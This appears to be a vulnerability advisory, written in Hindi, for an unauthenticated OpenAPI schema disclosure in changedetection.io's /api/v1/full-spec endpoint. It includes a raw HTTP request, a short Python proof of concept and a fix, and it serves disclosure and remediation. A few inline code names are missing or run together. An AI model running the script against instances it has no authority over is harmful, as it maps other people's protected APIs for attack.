
PoC: changedetection.io बिना प्रमाणीकरण OpenAPI स्कीमा प्रकटीकरण (CVE-2026-71203, मध्यम 5.3)
उत्पाद: dgtlmoon/changedetection.io — v0.55.7
फ़ाइल: changedetectionio/api/Spec.py
CWE: CWE-306 — महत्वपूर्ण फ़ंक्शन के लिए प्रमाणीकरण का अभाव
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — 5.3 (मध्यम)
CNA: Turan Security · CVE रिकॉर्ड
changedetection.io के REST API संसाधन @auth.check_token डेकोरेटर द्वारा सुरक्षित हैं
जो कॉल करने वाले के x-api-key हेडर को मान्य करता है — सिवाय /api/v1/full-spec पर पंजीकृत
Spec संसाधन के (), जिसकी विधि में न तो
और न ही है।
changedetectionio/api/Spec.pyget@auth.check_token@validate_openapi_requestकोई भी अप्रमाणित नेटवर्क क्लाइंट इंस्टेंस का संपूर्ण OpenAPI schema प्राप्त कर सकता है, जिससे पूर्ण आंतरिक API सतह (सभी संसाधन पथ, पैरामीटर, और प्रतिक्रिया आकृतियाँ) बिना कोई API key प्रस्तुत किए उजागर हो जाती हैं। हालाँकि schema स्वयं संवेदनशील उपयोगकर्ता डेटा नहीं है, यह हमलावर को हर अन्य API एंडपॉइंट को लक्षित करने का एक संपूर्ण, विश्वसनीय नक्शा देता है — इंस्टेंस के वास्तविक रूप से संरक्षित संसाधनों के विरुद्ध आगे की टोह लेने की लागत कम करता है।
GET /api/v1/full-spec HTTP/1.1
Host: target-instance
किसी x-api-key हेडर, कुकी, या किसी प्रमाण-पत्र की आवश्यकता नहीं है। प्रतिक्रिया संपूर्ण OpenAPI
spec दस्तावेज़ है।
अवधारणा का प्रमाण (Python):
import requests
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
resp = requests.get(f"{target}/api/v1/full-spec", timeout=10)
print(f"[*] Status: {resp.status_code}")
if resp.status_code == 200:
print("[+] Full OpenAPI schema disclosed with zero authentication:")
print(resp.text[:1000])
API में हर अन्य REST संसाधन अपने हैंडलर विधियों पर लागू @auth.check_token (और
@validate_openapi_request) के साथ पंजीकृत है; Spec संसाधन की get
विधि को उसी तरह सजाया नहीं गया था, जिससे यह अन्यथा API-key-गेटेड सतह में एकमात्र अप्रमाणित
एंडपॉइंट बन गया।
Spec.get() पर हर अन्य API संसाधन के अनुरूप @auth.check_token लागू करें, या यदि
schema को सार्वजनिक करने का इरादा है, तो इसे असंगतता के बजाय एक स्पष्ट, प्रलेखित निर्णय
बनाएं।